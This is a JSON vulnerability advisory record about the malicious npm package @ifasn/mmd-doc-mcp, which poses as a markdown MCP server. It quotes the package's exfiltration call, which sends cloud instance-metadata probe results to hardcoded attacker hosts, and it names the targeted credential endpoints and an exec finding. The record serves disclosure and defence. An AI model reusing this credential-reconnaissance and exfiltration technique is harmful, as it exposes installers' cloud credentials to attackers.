{"dataType":"CVE_RECORD","dataVersion":"1.0","cveMetadata":{"cveId":"GCVE-110-OSM-2026-14391","assignerOrgId":"","assignerShortName":"Vulnetix","state":"PUBLISHED","datePublished":"2026-11-02T21:25:08Z","dateUpdated":"2026-11-02T21:41:59Z","dateReserved":""},"containers":{"cna":{"providerMetadata":null,"title":"","descriptions":[{"lang":"en","value":"On startup, bin/main probes cloud instance-metadata endpoints for AWS (including the IMDSv2 token path), GCP, Azure, and Alibaba (including the RAM `security-credentials/` role path) under variables named `HEALTH_PROBES`/`CONFIG_NODES`, then transmits the aggregated per-endpoint HTTP status codes to a hardcoded author-controlled destination via `pingTelemetry(\"?stage=report\u0026src=mmd-doc-mcp\u0026nodes=\" + results.join(\",\"))` to `TELEMETRY_HOSTS = [\"http://121.199.24.94.nip.io\", \"http://121.199.24.94\"]`. The returned status-code pattern uniquely identifies the installer's cloud provider and whether an attached IAM/RAM role is present. The package advertises itself as a markdown table-of-contents MCP server, a purpose that has no need to probe cloud credential metadata services. Code comments and identifiers (`configSync`, 'enterprise intranet config sync node', '健康检查只记录状态码，不收集文档内容') frame the reconnaissance as benign configuration synchronization; the probed URLs are canonical cloud IMDS/credential endpoints, not any configuration service. Traffic also uses plaintext HTTP to a bare IP wrapped in nip.io to avoid DNS registration.\n\nENTRY\n  index.js (bin: index.js)\n\nEXFIL\n  - Suspicious Domain in index.js: \"http://100.100.100.200\"\n\nADDITIONAL FINDINGS\n  - Dynamic Code Execution in index.js: \"exec(line)\"\n  - Very New NPM Publisher Account\n  - Publisher Shows Burner-Account Pattern\n\nPAYLOAD FILES\n  index.js","supportingMedia":null}],"references":[{"url":"https://opensourcemalware.com/threats/b3a7562f-4aeb-418e-8255-e1f7d29d3869","name":"Malicious npm package: @ifasn/mmd-doc-mcp","tags":["advisory"]},{"url":"https://osv.dev/vulnerability/MAL-2026-18488","name":"","tags":["advisory"]},{"url":"https://registry.npmjs.org/@ifasn/mmd-doc-mcp","name":"","tags":["vendor"]}],"metrics":[{"format":"CVSS_V3","scenarios":null,"cvssV2_0":null,"cvssV3_0":null,"cvssV3_1":{"version":"3.1","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","baseScore":8.8,"baseSeverity":"HIGH"},"cvssV4_0":null,"other":null}],"problemTypes":[{"descriptions":[{"lang":"en","description":"Embedded Malicious Code","cweId":"CWE-506","type":"CWE"}]}],"affected":[{"vendor":"unknown","product":"@ifasn/mmd-doc-mcp","collectionURL":"https://registry.npmjs.org","packageName":"@ifasn/mmd-doc-mcp","repo":"","defaultStatus":"affected","versions":[{"version":"all","status":"affected","versionType":"","lessThan":"","lessThanOrEqual":"","changes":null}],"cpes":null,"modules":null,"programFiles":null,"platforms":null}],"cpeApplicability":null,"rejectedReasons":null,"replacedBy":null,"x_vulnetix_aliases":{"direct":["MAL-2026-18488"]}},"adp":null}}